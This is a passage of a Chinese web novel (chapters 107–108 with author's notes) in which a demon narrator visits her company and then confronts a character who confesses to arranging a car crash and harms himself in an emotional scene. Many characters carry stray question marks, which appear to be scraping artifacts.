“你在开心。”他说。 “对啊。” 我把游戏机举到眼前,进行三百六十五无死角的展示,得意地说:“没见过吧,这个东西可好玩了,人类的大发明。” “看上去很?好。” 他语气毫无波澜地夸赞着,接着说:“刚才那个人,是你在这里的同伴吗?” 我继续拆着礼物,思考着他说的话,沉吟片刻,“……也不是。” 同伴是我之?前从兽人那里学来?的词,但现在是人类世?界,关系定义是不一样的。 “嗯。” 耳边的声音迟缓地响起,我知道?那是他动用天使?没用的脑仁思考的时间,在经过无用的思考后?,他说:“那不用杀掉他,你现在就?可以回来?了。” 我:“我才不回去。” “为什么?” “因为我还没有玩够。” 下一个礼物拆开是个看上去尤其高科技的东西,我再次放在眼前,“你看,回去就?没有这种?东西了。” 天使?系统没说话,而是平白直述道?:“很?快它们对你来?说不会再有这么重要,它们只?是物品而已。” “回来?吧。”他再次说,“我可以帮助你恢复身体?。” “那样我们也回不去啊。” 我说:“如果你用血肉填满我的身体?,到时候我们也没办法出去。” “我自己可以恢复。”我继续拆着礼物,“我又没说我不回去,你别急。” 他安静了一会,又问:“那什么时候?” 房门被打?开,哥哥再次出现在我的视野内,他身上笼罩着灰色的情绪,不断地挣扎起伏,但当?关上门,看向我时,他的表情被另一种?情绪覆盖。 这就?是人类比天使?好的地方,天使?永远只?会笑,而人类的情绪和表情都尤其丰富。 “等我腻了的那天吧。”我说—— 作者有话说:天使堂堂登场,是个没脑子的,作为系统有点戏份,但大多数时候都很安静 等等,发现蝴蝶掉了拙拙和啧啧的戏份,但是窝已经坚持不住了,好困,等明天再塞进来,明天窝将奋斗(挺胸) 第107章 耳边传来嗯声, 然后自顾自地消失了。 我知道他在偷看,也?不知道是什么时?候开始的。 不过?既然他在看,那我可要秀了,先从?房子开始, 他个乡下天使肯定不懂现代都?市的好处, 我挨个房间逛了一遍, 又拿出手机翻出自己的粉丝超话,得?意地展示自己活得?有多么滋润。 乡下天使依旧一言不发。 我知道是因为他太笨了,看不懂这些是什么。 旧手机烧成了灰,没法展示照片, 我只能靠这张嘴和现场直播,尽力给他描绘我滋润得?冒泡的生活。 等在房子里完完整整地展示过?一遍,我打算去趟公?司。 像这种没见过?世面的天使, 连公?司是什么都?不知道,要是让他看到我手下管理?了一群人,肯定会羡慕。 以前总听他说想成为更高级的天使,不再受约束, 想要去约束别?人。 肯定会特?别?羡慕我拥有公?司的。 回家后的几天里,哥哥沉默地在房间里出没,只要在家,他就会在我旁边打转, 但不知道为何, 他始终不敢再接近我, 而是越来越沉默。 等到他出门的这天, 我说走就走,没有提前通知,直接让司机带着我前往公?司。 下车前, 一直沉默寡言的司机罕见地开口了,声音有些犹豫:“小姐……霍先生那边……您要不要抽空去一趟?” “下次再说。”我挥挥手,头也?不回地走进公?司大厅。 前台和保安看见我都?愣了一下,反应过?来想打电话通报,被?我抬手制止,径直走进电梯里,按下最高的楼层。 “这是电梯。”我说,“一个能自动升到很高很高的铁盒子,比扑腾翅膀省劲儿多了。” 叮咚。 电梯门在顶楼无声滑开。办公?室里,宗朔正靠在宽大的椅子上,嘴里叼着根烟,盯着电脑屏幕出神。 看到我,他明显怔住,下意识把烟从?嘴边拿开,张了张嘴,最终什么也?没说,只是抬手,将那支燃了一半的烟狠狠摁熄在桌上摊开的文件上,留下一个焦黑的痕迹。 我自动走到主位的老板椅坐下,严肃地盯着他:“你复吸了。” “……最近破事太多,”他揉了揉眉心?,声音带着熬夜后的沙哑,扯出一个没什么笑意的弧度,“不靠这个提神,脑子转不动。” 我没接话,转过?身,俯瞰着巨大的落地窗外。 高楼大厦的玻璃幕墙折射着苍白?的冬日天光,外面的建筑物无边无际地蔓延,有的几乎触及低垂的云层,建筑物一直绵延到远方,看不到山脉的影子。 看吧,我现在过?得?特?别?好。 我暗中?嘚瑟,撑着下巴摆出电视剧里反派特?有的姿势,十分的高深莫测! “来了怎么不提前说一声。” 宗朔咳嗽了两声,哼笑道:“想突击检查我有没有偷懒?可惜,我连偷懒的时?间都?是奢侈。” “辛苦了。”我说。 “……” “我知道浦真天的事。” 他语气轻描淡写,像是在说今天天气不好:“车祸之后,你居然还能想着来视察我,倒是没想到,伤筋动骨一百天,你哥没把你按在家里躺着?” “我已?经痊愈了。” 身后的人嗤笑一声,接着打火机的声音响起,过?了片刻,他吐出烟,才说道:“没想到啊,第一个退场的人竟然是他,所以说,好人不长命,弱小是活不久的。” 我仍然看着风景,分神纠正道:“什么退场,他还活着呢。” “植物人,和死?有什么区别?。” 他声音薄凉:“你没见过?,我见过?,也?照顾过?,最后躺在床上,靠机器维持呼吸,毫无尊严……有时?候想想,还不如死?了干净。” 我转回椅子,隔着缭绕的青色烟雾看他。 他的神情模糊不清,只有那双半睁的眼睛,透出点熟悉的、带着凉意的微光,仿佛又回到了很久以前,在[极乐世界]那些混乱的夜晚。 “活着就好了。”我说,“至少还活着。” “活着?”他像是听到了什么笑话,肩膀轻轻耸动了一下,“活着挺没劲的,想得?到的够不着,想放弃的做不到,你觉得?……我现在这样,算好吗?” 我的视线穿过?烟雾,落在他浓重的黑眼圈和微微颤抖的指尖上。 就算不看身上起伏的情绪,也?能感受到焦躁,正透过?这些细微的肢体语言,无声地传递出来。 我思索了片刻,说:“没看到你的时?候,我都?认为你在过好日子。” “我被?困住了。” 他平静地陈述:“在你的世界里,你不来的时?候,我是手机里定时?弹出的短信、需要处理?的麻烦,你来了,我就是这间办公室里等着被视察的NPC,是被?拴在这张椅子上的牛马。” 他自嘲地笑了笑:“我的人生,好像在下定决心?孤注一掷之后,就被?困在这个坐标上了。” “迈步走出去很难吗?”我疑惑。 宗朔垂下头,先是很轻地笑了一下,然后吸了口烟。猩红的火光明灭,袅袅上升的烟雾,终于触发了天花板上那个我一直觉得是摆设的烟雾报警器。 哗啦一声,声冰凉的水柱毫无预兆地倾泻而下,精准地浇在他头顶和办公?桌区域。 他愣了下,慌乱地把桌上的文件抱到桌下,又狼狈地保存文件,关上电脑。 窗外没下雪,办公?室里倒是先下了场急雨。 水幕巧妙地避开了我所在的区域。我颇有闲情逸致地托着腮,看着他瞬间变成落汤鸡。 微长的黑发湿漉漉地贴在额前和脸颊,他胡乱把刘海撩到脑后,任由水珠顺着深刻的五官轮廓滑落。 被?打湿的白?衬衫变得?透明,紧紧贴在身上,隐约勾勒出锁骨下方一小片新鲜的墨色痕迹。 注意到我的视线,他干脆扯了扯湿透的衣领,将那截纹身完全露出来。 “你的名字。”他仰起脸,水珠从?睫毛滴落,语气漫不经心?,像在讨论天气,“刚纹的。怎么样?” 我不由得?睁大眼睛。等那吵人的报警器终于停止尖叫,我起身走过?去,弯腰仔细看那片皮肤。 确实是我的名字。 我嘶地吸了口气,摸着下巴端详。 “感想如何?”他问,水珠还挂在他的鼻尖。 “怪怪的。”我实话实说,“感觉像是……你被?打上了我的所有物的标记。” “……不是吗?” 他向后靠在同样湿透的椅背上,偏过?头看我:“我要受够了。” “说不定哪天就轮到我了,等着你给我收尸的时?候,你会不会掉两滴眼泪啊。” 我想了想,认真地回答:“我还没试过?。” 宗朔长长地、近乎疲惫地叹了口气,用手背抹开脸上的水:“有时?候觉得?,堕落也?挺好,不彻底坏一次,你都?不知道卸下所有担子有多爽,至少……不用像现在这样,被?关在这里,哪儿也?去不了。” “以前在[极乐世界],不也?总是在办公?室才见得?到你吗?” “这么说,那我也?是你的NPC啊。”我理?所当然地说,“定时?刷新,出现在你面前。” “不一样。” 他举起还在滴水的手机,屏幕幽幽亮着:“我完全可以掌握你的行踪。” “私生饭行为,有点过?于粘牙了。” 我喃喃自语,坐回干燥的座位,目光落在另一半湿漉漉的桌面上:“那你知道,车祸的事,是谁干的吗?” “……不知道。” 他甩了甩头发上的水,掀起湿透的衬衫领口扇风,“我哪知道,我只知道,有些人又高兴又害怕,巴不得?浦真天直接死?在车祸里。” “那你呢?想吗?” “你想听实话,还是假话?” 他自问自答,“实话是,有点想,假话是,不太想,反正这把火迟早烧到自己身上,何必因为别?人的倒霉而幸灾乐祸?” “说真的……看到消息的时?候,我的心?停跳了好几秒。” “那些蠢货竟然把你卷进来。” 他扯出一个冰冷的笑:“可见你的欣赏水平和识人眼光都?不太行,围在你身边的,没一个不想争第一,没人会主动退出。” 这不是很正常吗?弱肉强食,死?伤难免。我想。 不过?在人类世界里,这种行为经过?柔化,一般都?会这么血腥。 果然,车祸还是太凶残了。 宗朔忽然用一种开玩笑似的、轻飘飘的语气说:“其实要解决很简单,你跟我离开这里就可以了。” 但在我能做出任何反应之前,他自己先转开了脸。 他低垂着眼睛,手指上凝结的水珠在空调暖风里微微蒸腾,升起一丝几乎看不见的白?雾。 “开玩笑的。”宗朔耸耸肩,“除了这儿,我哪儿也?不去。” “像我这么老实的,肯定是最后死?的那个。” 我盯着他看了几秒,点点头:“以前可能是死?得?最快的,但现在看起来,像是会坚持到最后、在大结局出来包饺子凑团圆的那种人。” “那就借你吉言。” 他又咳了一声,从?抽屉里摸出一条干毛巾,熟稔地开始擦拭桌面和文件上的水渍:“看看我能坚持多久吧。” 我指了指报警器,问:“为什么装这个?” “为了戒烟。”他头也?不抬,“不下点狠手,怎么戒得?掉?” 他擦干桌子,把桌下抢救出来的文件重新摆好,湿漉漉的头发也?没管,就继续对着电脑屏幕浏览起来。 那电脑居然防水,淋了场水还能正常工作?。 房间里只剩下鼠标点击的哒哒声,规律而密集。 我撑着下巴看他。 “他是你的同伴吗?”声音忽然又在我脑海里响起。 “不是。” 我在心?里回答:“他是我的手下。” 声音再次沉寂下去。 电脑后面的人忽然开口,打破了沉默:“邛浚没联系你?” “我换手机了。不知道他在发什么疯。” “看来还没从?黑名单里放出来。”他心?不在焉地说,目光仍停留在屏幕上,“挺好,放他在外面咬人,说不定……下一个就轮到他了。” “我觉得?可能是颜升先。” “……差点忘了这疯子。”宗朔啧了一声,沉吟片刻,“行吧,那他先死?。” “霍亦瑀说可能是颜升干的,就因为我不搭理?他?” 他终于停下点击鼠标的手,用毛巾擦了擦还在滴水的下巴,挑眉问:“那天晚上,你们?出去干嘛?” “买蛋糕。然后泉卓逸打电话,就去见了他。” “那不就结了。”他语气平淡,“是泉卓逸干的。” “对。”我顺着他说。 “他事后联系过?你吗?” 我想了想,摇头:“一条消息都?没有。” 明明刚才还说是泉卓逸,此刻他却话锋一转:“他没那个脑子单独策划,但他确实是最好操纵的那个,再怎么变,他那病还是一如既往地稳定。” “那颜升呢?” “可能吧。”他重新看向屏幕,“他也?疯得?不一般。” 我忽然问:“你可以好好活着吗?” 宗朔的手指顿在鼠标上。他慢慢抬起头,视线直直地投向我,湿漉漉的眼睛里有什么东西闪了一下。 “既然你是我的东西。”我陈述道,“那就活久一点吧。” 他眨了眨眼,睫毛上凝结的水珠终于落下,他抬手,胡乱擦去额发上的水迹,声音有些发哑: “……好啊。” 他微妙地看了我一眼,又叹了口气,那神情说不出是无奈还是别?的什么,然后更加颓丧地、更加用力地点击起鼠标,仿佛要把屏幕戳穿。 叩叩。 办公?室门被?推开,麦景走了进来。 我正好也?看腻了,站起身打算离开,麦景脚步一转,沉默地跟了上来,留下身后宗朔不大不小地啧了声。 麦景走在我身侧半步之后,他的目光沉静地落在我身上,又很快移开,看向前方光可鉴人的电梯门。 他犹豫了片刻,才低声开口:“我……也?可以去纹身。” 我有些疑惑:“你怎么知道的?” “之前……他去那家纹身店的时?候,下面的人汇报了。” “那个总跟着你的大叔,还在你手下?” 他顿了一下:“之前有些误会。已?经解决了。” “哦。”我说。 “纹身的话,”他追问,语气里带着一丝不易察觉的迫切,“小冬会喜欢吗?” “不要他做什么,你就跟着学什么。” 我停下脚步,在电梯前转过?身,抬头看他,比起情绪外露的宗朔,麦景的存在感总是很微弱,像一道沉默的影子:“我有点搞不懂了,麦景,你到底想要什么?” “想留在你身边。” 他回答得?很快,几乎是本能反应。 “可你从?没主动来找过?我。”我指出。 他闭上了嘴,沉沉地看着我,那双眼睛里翻涌着复杂的情绪。 身上那股浓烈的、甜腻如融化黑巧克力的气息倒是存在感十足,但人却仿佛总是站在记忆的阴影里,稍不留神就会被?遗忘。 “以前在学校的其他地方,你也?总是很安静。” 我回忆着:“你好像从?来不会主动要求什么,或者做什么。” “不是的!” 他急急地辩解,脸色显得?有些苍白?:“我在做事,这五年,我一直在处理?家里那些产业,想办法洗白?,建立能摆在明面上的公?司……这里,这家公?司,我也?在帮忙。” “那现在呢?” 我问:“你现在在做什么?” 他愣住了,嘴唇翕动了几下,一时?间答不上来。 “……想要完全脱离,很难。”他避开了我的眼睛,声音低了下去,“牵扯太深了。” “你还记得?吧?”我看着他,说,“以前在天台上,你对我说过?的话,说什么要养我,其实那个时?候,我挺讨厌你那么说的,甚至想过?把你的眼睛抠出来。” 他的身体几不可察地僵了一下。 “其实也?没那么讨厌,”我移开视线,盯着电梯门上跳动的数字,“只是觉得?你有点碍眼。” “那现在呢?”他问。 “还好吧。”电梯门叮一声打开,我走了进去,转身面对他,“只是有时?候觉得?,有点无聊。” “……” 他依然站在原地,没有跟进来,直到电梯门缓缓合拢,将他沉默的身影彻底隔绝在外。 走出公?司大楼,冷空气扑面而来。 我一眼就看到了停在楼前那辆线条冷硬的黑色轿车,以及车旁那个穿着黑色长大衣的身影。 泉越泽站在那里,白?色睫毛在冬日天光下几乎透明,身边规整地站着几名黑衣保镖,气场冷凝。 我的司机已?经把车开到一旁,有些无措地看向我。 我走过?去:“来找我吗?” “嗯。”泉越泽低头看了眼腕表,动作?一丝不苟,“你在上面待了一小时?三十七分钟。” “我来视察工作?。”我理?直气壮地说。 他没接话,深绿色的眼睛看向我,语气平静:“关于泉卓逸的事,我认为有必要向你说明,作?为他哥,在他做出如此不可饶恕的行为后,我已?第一时?间采取了措施,目前将他禁足在家中?。” “至于我本人为何没有前往医院探视,因为你的哥哥明确禁止了外人打扰,此外,有人正在利用这次事故,以浦真天的合同为由,对我的公?司提起诉讼。” 他停顿了一下,白?色睫毛下眸光微冷:“这场车祸,并非偶然,是早有预谋的针对。” “针对你?” 我有点疑惑,躺在医院的是浦真天,怎么成针对他了? 但他似乎对此深信不疑,带着某种冰冷的自信,将责任全然揽过?:“我会处理?好所有后续,并给予你相应的补偿。” “那你现在来找我,就是为了说这个?” “……” 泉越泽微微蹙起眉,仿佛我的反应不在他预料之中?。 他抿了抿淡色的唇,视线转向大楼入口的方向,语气依旧平稳,却透出一丝难以察觉的凝滞:“是关于泉卓逸的情况,禁足后,他的情绪彻底失控了,拒绝任何人靠近,具有强烈的攻击倾向,自那晚之后,他完全崩溃了。” 他转回视线,看向我:“我认为,或许你可以去见见他。” 我装模作?样地思考了几秒。去见见也?好,正好可以当面问问,那天晚上到底怎么回事。 “行啊。”我答应了。 他眉宇间那丝微不可察的蹙痕松开了些,侧过?身,为我拉开车门。 在转身前,他的目光似无意地再次扫向公?司大楼的玻璃门内。 我顺着他的视线回头,看见麦景不知何时?又出现在大厅的阴影里,正静静地看着我们?这边,像一尊没有生命的雕塑,沉默地伫立在那里。 泉越泽什么也?没问,径直坐进车里,对司机简洁地吩咐,“走吧。” 一名保镖坐进副驾,其余人上了后面跟着的另一辆车。 “我们?要去哪个精神病院?”车子发动后,我好奇地问。 “不是。”泉越泽看了我一眼,目光掠过?车窗外飞速倒退的高楼大厦,简短地回答:“他在老宅。”—— 作者有话说:要轮到拙拙了 宗老板在发现普子和小冬出事后又惊又怒,结果小冬没事,普子成植物人后,就开始兔死狐哀,已经彻底化身办公室怨灵,他其实也想过争,但管理公司就已经很难了,和麦景接触后,受到他不争不抢气氛的感染,觉得自己也该认命,不争地活下去,但潜意识里非常不爽,认为自己这样做很失败,又不得不接受,一边难受一边接受现实,就是因为老实了,所以没人搞他,也没人搞麦景。 至于麦子哥,他纯属脑子不够用,一根筋的生物,有自己的一套价值观,觉得在附近就很好了,不强求观念,但是其实也是另一种形式的不太在意,有点像那种会在角落里拿着照片默默想人,觉得自己付出了多少多少,结果别人一看,毛都没做的人,属于自我伤感型人格(?) 对于这俩人,我下手应该是很轻的![眼镜] 至于哥,他知道一点别人会搞普子的事,但是觉得伤害不大,而且内斗而已,他选择旁观,但没想到普子出事后,他饱受良心谴责,非常不安,之前也是,他对普子说了那种话后,有点良心不安,但是因为一直努力做事忽略了,五年后良心不安已经减小到极致,成为不在意的状态,为了让自己成为那个一直留在冬子身边的人,他啥都会做,现在也只是良心不安一会儿,正在努力搞霍中…… 第108章 一时兴起的主意?后, 我?给哥哥发了消息。 因为他说晚上会回来,提前叮嘱我?不要乱跑,但?我?还是乱跑了。 [世界第?一恶魔大?人]:我?去泉卓逸家了,之前那?件事?, 我?想问清楚 不知道是不是在看手机, 回复十分迅速。 [哥]:要我?接你吗? 我?转头看了眼旁边的人, 撑着下巴想了想。 他察觉到我?的视线,转过脸来。这?人坐着也腰背挺直,像棵修竹,“有什么想问的?” “我?在想什么时候能结束。” “快的话?, 今天晚上就可以。”他微微皱起眉,“但?是他这?个人……你知道的,最不稳定的因素就是他。” “我?真?的有点好?奇你为什么讨厌他。” “和他待在一起, 任何人都会讨厌。” “这?个问题就像是先有鸡还是先有蛋。”我?颇为哲学地说,“如果你这?么认为,就会觉得他很讨厌人厌,越讨厌, 就越会这?么认为。” “连他自己?都会这?么想。” 我?很有同感,因为之前有相同的经历。 别人在耳边孜孜不倦地重复一件事?,就像是某种悬挂在头顶的砖头,永远担惊受怕, 越是抗拒, 越想它早点掉下来。 所以按照别人的想法前进, 既然这?么想, 就成为别人嘴里抗拒的形象好?了。 泉越泽转过头来,深绿色的眼睛盯着我?,像在审视一件突然出故障的仪器:“你在为他说话??” “对啊。” 我?说:“你对他的了解说不定还没有我?多。” 泉越泽冷笑一声, “不可能,从小到大?,我?知道他做过的所有坏事?,撒谎成性,不愿意?承担责任,缩头乌龟逃避所有事?,无论怎么努力也达不到要求……” “那?好?事?呢?”我?问。 “……” 泉越泽看着我?,沉默片刻,喉结滑动?了一下,他镇定地移开视线:“那?种事?,没有。” “他也没有那?么一无是处。” “即使在他做出害你出车祸的事?之后?你还要为他说话?。” 我?是个客观的恶魔,但?他一点也不客观。 我?摇摇头,发现他嘴角的弧度往下沉了沉,唇线抿成一条绷紧的弦,心情明显不美妙。 “感觉你是我?见过最不忙的人了。” 我?说:“大?家不应该忙着工作的事?吗?你还可以到处跑来跑去。” “我?只是不想在你面前做这?种事?而已……那?样不会显得很装吗?” 我?有点惊奇,笑了:“你也知道装啊,我?还以为你是老古董呢。” “……我?只是一般不这?么做。” 他别过脸,睫毛微微颤了下,“既然你对泉卓逸有不一样的看法,那?么对我?也不应该刻板而行。” “好?吧。”我?点点头。 车很快驶到目的地。 泉越泽口中的大?宅坐落在一片偏僻的山脚下,四周寂静得能听见自己?的呼吸声,绿化茂密得几乎阴沉,驶进铁门后,还要开过一段长长的、两旁立着枯瘦梧桐的路才能到主楼。 房子看上去有些年头了,外墙爬满了枯黄的爬藤,在寒风里簌簌作响。 门口站着几个仆人,穿着统一的深色制服,站得笔直,这?场景像从老电影里剪出来的,那?种住着古板贵族的老房子。 我?下车,继续打量这?栋建筑,它虽然高大?,却透着一股阴森,在冬季的萧瑟里显得格外冷清。 楼高四层,像座小博物馆,旁边还有座灯塔式的建筑,尖顶高高耸向天空,像一根刺破云层的针,塔身斑驳,有几处玻璃碎了,用木板潦草地封着。 “那?是干嘛的?”我?仰头看着塔尖。 泉越泽顺着我?的视线瞥了一眼,很快收回目光:“父亲当年仿照国外建的灯塔,他喜欢爬到顶楼画画,不过他去世后,那?里就废了,没人再上去……除了泉卓逸。” 他望向二楼,忽然嗤笑一声:“看来他知道了,又躲起来不敢见人。” 我?也看了过去,只看到了晃动?的窗帘。 跟着泉越泽走进一楼大?厅,里面和外面一样旧,弥漫着一股老派而阴郁的气息。 空气里有种陈旧的木头,旋转楼梯旁挂着几幅照片,两个大?人和两个孩子,大?一点的孩子站在中间,表情严肃得不像个孩子,小一点的躲在父亲身后,怯生生地望着画外,只露出半张脸和一只紧紧攥着父亲衣角的手。 再往上,是随时间变化的照片。 里面的孩子渐渐长大?,变成我?能认出来的模样,泉卓逸有时笑得灿烂,有时板着脸,眼睛看着镜头外的某个地方。 直到最后一幅,只剩下泉卓逸、泉越泽和他们的母亲。 我停在这张照片前。 中间的女性面无表情,像一尊精心雕琢的蜡像,泉卓逸站在她右边,离得很远,身体?微微侧着,像是想逃出相框,而泉越泽则站在她左侧,搀扶着她的胳膊,脸上一丝笑容也没有。 “那是母亲去世前三个月拍的。” 泉越泽顺着我?的目光看去,声音平淡得像在介绍一幅与?自己?无关的画:“泉卓逸死活不肯拍,被?我?训了一顿才不情不愿地站进来。” “你知道他挨打的事?吗?” “谁没挨过打?”泉越泽平淡地说,“做好?事?就不会有那?种下场。” 大?厅墙上还挂着一根鞭子,乌黑油亮,握柄处磨得光滑,就在一幅巨大?的画作下方。 画几乎占满整面墙,直达二楼,画面是某种末日景象,一个披白袍的人一手握剑,一手拿苹果,脚下是无数痛苦伸着手的人群,那?些人的脸扭曲着,眼睛空洞。 “这?是父亲的画。” 泉越泽领我?走上楼梯,木制台阶发出轻微的吱呀声。 他语气平淡,像在介绍一件家具:“他当年也算有名?气的画家。” “那?泉卓逸也会画画吗?” 泉越泽飞快地回答:“他没有天赋。” 我?哦了一声,跟着他上了二楼。 走廊里站着几个人,正低声交谈,看见我?们?立刻分立两旁,恭敬垂首,连呼吸都放轻了。 泉越泽瞥了眼紧闭的房门:“怎么样了?” 穿着管家服的中年男人上前一步,脸上挤出恰到好?处的为难:“二少还是不肯出来……不过刚才安静些了,没再扔盘子。” “我?不是让你们?把他绑床上吗?” 管家低头说:“他挣开了。” 泉越泽蹙眉,眉间刻出两道深痕,他看向我?:“需要给他套上锁链吗?” 我?其实不太懂为什么不直接送泉卓逸去精神病院,也许是为了面子吧,毕竟他之前还对泉卓逸当男公关耿耿于怀。 我?摆摆手,“不用,我?来吧。” 越过他,我?走到门边敲了敲:“泉卓逸,是我?。” “……” 里面安静了很久,久到我?以为他不会回答了,才传来有气无力的声音,像从被?子里捂出来的:“门没锁。” 我?试探着拧了拧把手,果然开了。 泉越泽看向旁边的仆人,他们?面面相觑。管家先开口,声音更低了:“可能是刚才看到您回来,所以……” “你们?守在门口。” 我?进去时,泉越泽也跟了进来。 房间里一片狼藉,满地碎片,玻璃碴、瓷片、撕碎的纸,像被?飓风扫过,窗帘被?扯下一半,耷拉着。 泉卓逸蜷在床上,头发凌乱地贴在额前,浑身发抖,像只受惊的动?物。 我?往前走,却被?一只手拦住,泉越泽用不赞同的眼神看着我?。 我?绕开他,踩过满地狼藉,碎玻璃在脚下发出细碎的声响,走到床边,泉卓逸试图用胳膊挡住自己?,像只拼命往壳里钻的蜗牛,他的指关节发白,指甲缝里有干涸的血迹。 我?坐下时,床垫微微下陷,他蜷得更紧了,整个背脊弓起,肩胛骨顶起单薄的衣料。 他身上套着丝质居家服,敞开着,露出布满疤痕的手臂,内侧疤痕新旧交错。 “对不起……对不起……”他喃喃自语地念叨。 “泉卓逸。” 我?叫了他一声,“是你做的吗?” 他僵住,手指攥紧床单,指节白得透明,他屏住呼吸,胸口没有起伏,像快要溺毙。 房间里暖气很足,热得人冒汗,我?却觉得他冷得发抖,牙齿都在打颤。 在他试图将自己?埋得更深时,我?抓住了他的衣角。 “回答我?。” 他僵硬着,仿佛被?钉在原地。 “……是。”在说出口的那?一刻,他终于可以呼吸了,深深地喘息着,浑身发抖。 “还有呢?还有谁?” 我?说:“浦真?天对你挺好?的吧,为什么要做这?种事??那?天的雪很大?,从车里出来的时候,他不停地流血,我?还以为他会死在那?个地方,冻成冰棍什么的。” “你知道吗?我?也在里面。” “我?不想那?么做!” 他胡乱地挥舞着双手,抬起一张因为痛苦的脸,不停地流眼泪,攻击性十足的五官在此刻显得无比可怜。 他坐起来,急切地拉住我?的手,手心滚烫,全是汗:“我?没想害你……也没想害他!只是、只是那?天出了意?外,有别人——” “你是想说我?打乱了你的计划?” 旁边的人冷淡地启唇,言语冰冷地往外蹦:“那?样的话?,你想害的就只有浦真?天了吧。” “想用他给新公司上市计划添乱,乘机给我?添堵。” 泉越泽讥讽道:“还说不是想害他。” “不是——!我?没想到会变成这?样!我?只是想让你感受下我?的感觉!!” 泉卓逸几乎吼出来,脖颈上青筋暴起,眼中闪着痛苦的光,像冬天烤火时木头迸溅的火星:“凭什么你什么都轻而易举?凭什么我?做什么都要受你控制?如果没有你……没有这?个家,我?根本不会变成这?样!” “你可以走啊。”泉越泽说,声音十分平静,“我?的有拦过你吗?” “……” 泉卓逸呼吸急促,胸口剧烈起伏,撑着胳膊不停出汗,额前的头发湿成一绺一绺,眼泪浸湿了布料,深色水渍在浅色丝绸上蔓延开。 “是你……我?想害的从来都是你……” “但?你不敢直接对我?出手,却敢对自己?的朋友下手。” “不——不是这?样的。” 我?抬手制止了泉越泽的话?,搞不明白他到底是来治疗的,还是来刺激的。 泉越泽看了我?一眼,侧过脸。 而泉卓逸一团糟,呼吸像破风箱。 我?伸出手,他急切地把头抵在我?腿上,头发蹭着我?的裤子,仿佛想钻进沙子里,彻底消失。 我?摸了下他的头发,视线望向窗外。 落地窗才是最好?,这?种小窗子只能看到一片限制的天空,飞过几只鸟,都像是被?困在牢笼里似的。 “所以是这?样吗?” 手下的人呼吸停滞,身体?紧绷。 我?问:“所以你想害浦真?天,只是没想到我?会出现,所有的事?都是你一个人做的吗?” “……” 泉卓逸浑身发抖,喉咙里发出仿佛被?掐断气管似的、断断续续的呼吸声。 我?的大?腿很快感受到了热意?,湿润的热扩散开。 “……如果是这?样,你会多注意?我?一点吗?”他问,声音闷在我?腿上,模糊不清。 “你变得好?奇怪。” 以前怎么没觉得杀伤力这?么大?呢。 听到我?的话?,他猛地起身,动?作太急,差点摔下床,脖颈青筋凸起,像要炸开。 他开始抓挠手臂,指甲划过那?些旧疤痕,留下新的红痕,情绪彻底崩溃,像被?戳破的水气球,哗啦一下全涌出来。 “不管我?怎么做都是错!对,我?是害了他,但?没想让他死!我?只是想让泉越泽不好?过,只是想让你身边少个人……为什么连这?都做不到?我?果然就是个废物……” 他语速越来越快,字句黏在一起,几乎听不清。 “我?讨厌变成自己?看不起的人!忍着恶心回这?个家,拼命往上爬,想再站到你身边……但?我?就是做不到啊!你、你们?的期待太高了,我?永远够不到,你不如打我?,杀了我?吧,做什么都好?,不要无视我?!” 他疯了一样抓起地上的碎片,反反复复割伤自己?手臂,动?作机械又凶狠。 泉卓逸跪在我?面前,地毯上的碎渣扎进膝盖也不管,颤抖着抓住我?的手,把瓷片塞进我?手里:“只要你高兴,怎么都行!你来,你动?手!” “回到以前好?不好??就我?们?两个人……”他的声音突然软下来,带着哀求,“谁也不要,就我?们?两个人好?不好?,我?……我?不想待在这?儿,我?不想一个人……” 眼泪不停滚落,混着脸上的汗,狼狈不堪。 泉卓逸彻底失控,像变成了另一个人,只有说到以前两个字时,眼里才会闪过微弱的亮光,像夜里的萤火,一闪即逝。 他握着我?的手,往自己?锁骨狠狠一划。 皮肤绽开,血立刻涌出来。他神情恍惚起来,眼神涣散。 下一秒,他被?猛地拽开,泉越泽夺过我?手里的瓷片,动?作快得带起一阵风。 他看着我?手上沾的血,眉头拧成死结,声音压着怒气,低而沉:“你不反抗吗?就任由他这?样?” “他很高兴啊。” 我?转头继续看泉卓逸。 他已被?进来的仆人扶住,两个人架着他胳膊,管家熟练地指挥着人止血、喂药,动?作麻利得像演练过无数次。 另一个仆人拿着纱布按住他锁骨,白色很快染红。 泉越泽盯着我?手上的血,看了许久,等管家处理完伤口,他才从口袋里抽出手帕,声音恢复了平日的冷静,甚至更冷:“关进客房,加药量,叫私人医生来——” 他顿了顿,补充道:“最好?能给他治治脑子。” 管家点点头,毫不意?外,似乎对这?场面习以为常,他还体?贴地问:“少爷,这?房间要不要收拾?” “等等。”泉越泽不耐烦地说,挥了挥手。 等人离开,门轻轻关上,房间里只剩下我?们?两个和满地狼藉,他低下头,抓过我?的手,用手帕用力地擦,擦得很仔细。 “以前你也这?样由着他吧。”他说,没有抬头。 我?盯着他垂下的发丝,点点头。 “所以你们?不应该待在一起。” 泉越泽说:“你看到了,他是不可能被?你完全控制的,放弃他吧。” “你应该把他送进精神病院,在家里怎么治疗他的精神病啊。”我?说。 “我?知道。” 终于擦干净血液,他看了眼手帕,最终将它塞进兜里,深绿色的眼睛凝向我?:“所以呢,你的回答是?” 我?若有所思,回味着刚才发生的一切,手指在腿上敲敲打打,做着霍亦瑀最爱做的事?。 其实对思考毫无帮助,但?是这?么做会显得我?很厉害。 泉越泽按住我?的手,手指上传来微微冰凉的触感,在热烘烘、混乱的房间里,他仍然显得有条不紊,和背景里破损格格不入。 我?想起那?张三人合照,他似乎很适应这?个家,或者说,很擅长在这?样的环境里生存。 我?感慨道:“你真?的讨厌他啊。” “因为他是个身在福中不知福的人,永远也不知道满足。” 泉越泽看了眼床上凌乱的被?子,皱了下眉,站在原地没动?,看向窗外:“总觉得父母偏心我?,实际上他才是那?个被?偏心的人,以为被?惩罚的只有他一个,实际上我?在成长过程中只要有一点没有达标同样会遭受来自母亲的训斥。” “父亲从我?出生的那?刻时就不喜欢我?,他很讨厌我?,曾经我?向他展示画作,值得到了厌恶的神情,甚至恨不得让我?去死。” “反而平庸、没天赋的泉卓逸,才是他最喜欢的,哪怕打翻颜料瓶,哪怕睡着了流口水,哪怕什么都做不好?。” “对他什么都满足,所以把他变成了今天这?幅扶不起墙的模样。” 泉越泽平静地说:“这?个家是畸形的,而他根本离不开这?个怪圈。” “从出生就注定了,他的病会伴随他一生。” 我?其实不太懂为什么有人愿意?待在这?样的地方,但?看得津津有味,人类的家庭戏码,总是比电视剧精彩。 “放弃他吧。”泉越泽看向我?,“他应该离开。” 我?没接话?,因为手机响了起来,是哥哥打来了电话?。 接通电话?,另一边传来熟悉的声音,显得单调低沉。 